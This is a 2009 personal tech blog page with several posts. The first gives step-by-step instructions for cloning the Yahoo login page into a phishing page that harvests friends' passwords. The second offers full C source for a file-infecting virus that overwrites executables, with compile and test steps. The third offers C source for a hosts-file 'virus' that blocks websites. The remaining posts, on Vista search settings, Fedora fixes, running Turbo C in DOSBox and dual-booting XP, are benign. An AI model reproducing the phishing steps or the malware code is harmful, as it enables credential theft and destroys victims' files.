Sunday, May 3, 2009

How to Create a Fake Login Page?

Here in this post I will give a procedure to create a fake login page ofYahoo.com.The same procedure may be followed to create the fake login page of Gmail and other sites.

Publish Post

Here is a step-by-step procedure to create a fake login page.

STEP 1.
Go to the Yahoo login page by typing the following URL.

mail.yahoo.com

STEP 2.
Once the Yahoo login page is loaded, Save the page as Complete HTML file. (Not as .mht file)
To save the page goto File->Save As

Tip: .mht option is available only in IE 7. So if you you are using some other browser you need not worry.

STEP 3.
Once you save the login page completely, you will see a HTML file and a folder with the name something like this Yahoo! Mail The best web-based email! .

STEP 4.
Make sure that the folder contains the necessary images and other support files.Now rename the Folder to “files.You may also rename the.HTML file to yahoo.HTML

STEP 5.
Now open the .HTML file using a WordPad.Change the links of all the files present in the folder to /files.

For example you may find something like this in the opened HTML file

src=”Yahoo!%20Mail%20The%20best%20web-based%20email!_files/ma_mail_1.gif

Rename the above link into

src=”files/ma_mail_1.gif

Repeat the same procedure for every file contained in the folder by name “files“.

Tip: To search for the links, press Ctrl+F in the opened WordPad and search for “.gif”. Repeat the Step 5 for every .gif file.

STEP 6.

Now search for the following term

action=

you will see something like this

action=https://login.yahoo.com/config/login?

Edit this to

action=http://yoursite.com/login.php

Tip: Open a free account in 110mb.com to create your own site for uploading the Fake Login Page. yoursite.com has to be substituted by the name of your site.For example if your site name is yahooupdate.110mb.com then replaceyoursite.com with yahooupdate.110mb.com.

Save the changes to the file.

NOTE: You can write your own code for login.php or search for login.php (Login script) on Google.

STEP 7.

Now you have to upload your yahoo.HTML, files folder and login.php to

yoursite.com Root folder

NOTE: Make sure that your host supports PHP

Tip: 110mb.com supports PHP

STEP 8.
Configure the login.php file to save the entered password onto a .TXT file and redirect the user to original login page (mail.yahoo.com)

Tip: login.php can save the password in any format (not necessarily .TXT format).You can search a php script in Google that can save the password in any format.You may also search a php script that can email the username & password

NOTE: The concept here is to save the password.The format is not important here.

STEP 9.
Distribute the Yahoo.HTML URL (ie: yoursite.com/yahoo.HTML) to your friends.When they login from this fake login page, the login.php will save the username and password onto the .TXT file (or any other format) in your site. Download the file to see the password inside it.

How to Create a Computer Virus?

This program is an example of how to create a virus in c.This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the source code of the virus program.

#include
#include
#include
#include
#include
#include

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(”*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(”Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(”DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(”TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

COMPILING METHOD:

BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile

2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect

BORLAND C++ 5.5 (32-BIT) :

1. Compile once,note down the generated EXE file length in bytes

2. Change the value of X in source code to this length in bytes

3. Recompile it.The new EXE file is ready to infect

HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)

3. Run the virus EXE file there you will see all the files in the current directory get infected.

4.All the infected files will be ready to reinfect

That’s it

WARNING: FOR EDUCATIONAL PURPOSES ONLY

How to Search Wikipedia, Google or Yahoo from Instant Search Box in Windows Vista

If you spend a lot of time in searching useful information in Wikipedia, Google or Yahoo, instead of going to Wikipedia or Google or Yahoo homepage itself to type the keyword and perform the searching, you actually can add search Wikipedia, Google, Yahoo option to Windows Vista Start Menu Instant Search Box so that you can type the keyword from the search box and choose to search in either Wikipedia, Google or Yahoo websites.

To add Search Wikipedia or Google or Yahoo at Start Menu Instant Search Box, follow below steps:

1. Click on Start button, then type gpedit.msc in the search bar, then hit enter key.

2. User Account Control is displayed and click Continue button to proceed launching Local Group Policy Editor.

3. Navigate to User Configuration > Administrative Templates > Windows Components > Instant Search > Custom Instant Search Internet search provider, click on Properties to open the properties window.

4. Under Setting tab, select Enable to enable the policy setting.

5. At “the string or DLL resource” text box, type either Search Wikipedia, Search Google or Search Yahoo.

6. At “the URL to use when invoking the custom internet search” text box, key in either one of the URL.
Wikipedia: http://en.wikipedia.org/wiki/%w
Google: http://www.google.com/search?q=%w
Yahoo: http://search.yahoo.com/search?p=%w

7. Click OK button to save the setting.

In order to take the effect of the group policy changes, you must either reboot your computer or type gpupdate/force at command prompt then hit enter to execute the GPO update immediately. If you choose to enable Search Wikipedia, you will see Search Wikipedia appears at Start Menu Instant Search Box once you have started to type at the search box.

Creating a Virus to Block Websites

Most of us are familiar with the virus that used to block Orkut and Youtube site.If you are curious about creating such a virus on your own, then you are in the right place.Tody I’ll teach you how to create a simple virus that block’s websites.And as usual I’ll use my favorite programming language ‘C’to create this website blocking virus.I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’.So, anyone with a basic knowledge of C will be able to understand the working of the virus.This virus need’s to be clicked only once by the victim.Once it is clicked, it’ll block a list of websites that has been specified in the source code.The victim will never be able to surf those websites unless he re-install’s the operating system.This blocking is not just confined to IE or Firefox.So once blocked, the site will not appear in any of the browser program.


Here is the sourcecode of the virus.

#include
#include
#include

char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;

int find_root(void);
void block_site(void);

int find_root()
{
int done;
struct ffblk ffblk;//File block structure

done=findfirst(”C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

else return 0;
}

void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}

void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

How to Compile ?

1. Download the source code here. Download the compiled module(virus)here.

2. Compile the sourcecode using any C/C++ compiler.

3. To test, run the compiled module. It will block the sites that is listed in the source code.

4. Once you run the file block_Site.exe, restart your browser program.Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

4. To remove the virus type the following the Run. 
%windir%\system32\drivers\etc

5. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1—————————google.com

6. Delete all such entries which contain the names of blocked sites.

Friday, May 1, 2009

Fedora Problems and Solutions

Problem 1 :Another app is currently holding the yum lock; waiting for it to exit..

solution 1:        
   Hit Ctrl-C; that's the key combination to kill any currently running process in a bash shell or terminal.

To find out what's locking up yum, try running:

# ps aux | grep yum

Note the PID number of the process and run this to kill the process:

# kill PID

Check to see if the process has been killed by rerunning:

# ps aux | grep yum

If not, rinse and repeat until the process is killed; some processes can be very stubborn.

Problem 2: gcc: Command not Found

Solution 2 : 
          
  yum install gcc

Thursday, April 30, 2009

Turbo C For Vista



Now U can run Turbo C++ 3.0 on Windows XP 64 bit , Vista 32 bit and 64 bit OS (in full screen)

Install the software DOSBox ver 0.72 ( 1.2 MB ) (Freeware) from the link below (Direct Link)

http://prdownloads.sourceforge.net/dosbox/DOSBox0.72-win32-installer.exe?download

Before going to the details u have to create a folder (any name will do). Here we name it as Turbo

Copy the TC into the Turbo folder

Run the DOSBox 0.72 from the icon located on the desktop or from the location of the installation folder

Then u are presented with two screens which look like the command prompt in Windows

Now u are presented with two screens. One with a Z prompt. U can ignore the other screen.

There type the following commands at the command prompt [Z]:

Mount [Type in any alphabet that u wish except z] [Type the source of the turbo C] press enter

Now , Type in the following commands after the Z prompt:

Z: mount d c:\Turbo\ [The folder TC is present inside the folder Turbo]

* Now u should get a message which says: Drive D is mounted as a local directory c:\Turbo\ ***

Now type d: to shift to d: prompt .

D: cd TC [The contents inside the folder Turbo gets mounted as a virtual drive (Here D drive)

D: cd Bin

D: TC or Tc.exe [This presents u the Turbo C++3.0 screen]

On the Turbo C++ goto Options>Directories>Change the source of TC to the source directory [D] ( i.e. virtual D: refers to original c:\Turbo\ . So make the path change to something like D:\TC\include and D:\TC\lib respectively )

===========================================================

In order to get the full screen use the key combination of Alt and Enter

When u exit from the DosBox [precisely when u unmount the virtual drive where Turbo C++ 3.0 has been mounted] all the files u have saved or made changes in Turbo C++ 3.0 will be copied into the source directory(The directory which contains TC folder)

It is a good idea to backup your files in the source directory prior to running DOSBox 0.72

For additional help go through the readme file located in the installation folder or look on the website of the DOSBox forum.

The above procedure has been successfully implemented on Windows Vista Ultimate 64 bit

IMP : Don't use shortcut keys to perform operations in TC because they might be a shortuct key for DOSBOX also . Eg : Ctrl+F9 will exit DOSBOX rather running the code .

Thursday, April 16, 2009

Install Windows XP on Your Pre-Installed Windows Vista Computer

 you need to own a copy of Windows XP.

Note that you should not attempt this if you aren't ready to troubleshoot any problems that might occur.

The first issue we encounter is that computers with pre-installed operating systems take up the entire drive. Luckily Microsoft included the Shrink volume feature in Vista, so we can easily shrink the Vista partition down to make room for XP.

Open the Computer Management panel, which you can find under Administrative tools or by right-clicking the Computer item in the start menu and choosing Manage. Find the Disk Management item in the list and select that.

image

Now we'll shrink our volume down by right-clicking on the main hard drive and choosing Shrink Volume.

image

Now you can choose the size that you want to shrink, which really means you are choosing the size that you want your XP partition to be. Whatever you do, don't just use the default. I chose roughly 10gb by entering 10000 into the amount.

image

The next step might be confusing, because we need to change the cd-rom drive that's invariably taking up D: at the moment, because we want to use D: for the Windows XP partition, but it's already taken by the cd-rom drive. If you skip this step than XP will install onto the E: drive, which isn't the end of the world, but it's not quite as tidy.

Right-click on the cd-rom drive in the list and choose Change Drive Letter and Paths from the menu. 

image

Now we'll change the CD drive to use E: by selecting that in the drop-down. 

image

Now we can create a new partition for XP to live on and make sure that the drive letter is set the way we want. If you do not create a partition now the XP install will do so automatically, but it's easier and cleaner to do it this way.

Right-click on the Unallocated free space area and then select New Simple Volume from the menu.

image

Follow through the wizard and select whatever options you'd like, making sure to use D: as the drive letter.

Now you will need to close out of disk management and reboot your computer. This is because we can't do the next step until we reboot. (you can try, but it won't work)

So we've come back from rebooting… open up Computer from the start menu and then right-click on the D: drive and select properties. Give your partition a meaningful name like "XP". It would be wise to name the C: drive to "Vista" at this point as well. 

image 

Now you'll want to pop your XP cd into the drive and boot off it. You may have to configure your BIOS to enable booting off the CD drive, or if your computer says something like "Hit Esc for boot menu" you might want to use that.

Once you come to the screen where you can choose the partition to install on, then choose either the unpartitioned space or the new partition you created. Whatever you do, don't try and install onto your Vista partition! See how much cleaner it is now that we've labeled each partition distinctly?

image 

We'll assume XP is completely installed at this point, and you will have lost your ability to boot into Windows Vista, so we'll need to use the VistaBootPro utility to restore the Vista boot loader.

Update: VistaBootPro is no longer free, but you can still download the free version.

During the install you'll be forced to install the .NET 2.0 framework. Open up VistaBootPRO and then click on the System Bootloader tab. Check the "Windows Vista Bootloader" and then "All Drives" radio buttons, and then click on the Install Bootloader button.

image

At this point, the Windows Vista bootloader is installed and you'll only be able to boot into Vista, but we'll fix that. Instead of manually doing the work, we'll just click the Diagnostics menu item and then choose Run Diagnostics from the menu.

image

This will scan your computer and then automatically fill in the XP version.. click on the "Manage OS Entries" tab and then click in the textbox for Rename OS Entry, and name it something useful like "Windows XP"  or "The Windows That Works" 

image

Click the Apply Updates button and then reboot your computer… you should see your shiny new boot manager with both operating systems in the list! 

image

If you get an error saying "unable to find ntldr" when trying to boot XP, you'll need to do the following:

  • Find the hidden files ntldr and ntdetect.com in the root of your Vista drive and copy them to the root of your XP drive.
  • If you can't find the files there, you can find them in the \i386\ folder on your XP install cd

There's more information on this forum thread, thanks to nrv1013

This is a critical piece of information: Windows XP will be installed on the D: drive, even in Windows XP… so you'll need to keep that in mind when tweaking your system.

image

You can share information between the drives, but I wouldn't recommend messing with the other operating system's partition too much… it might get angry and bite you. Or screw up your files. What I do recommend is that you store most of your files on a third drive shared between the operating systems… you could call that partition "Data".

I'm going to write a number of followup articles dealing with all of the issues with dual-boot systems, so subscribe to the feed for updates.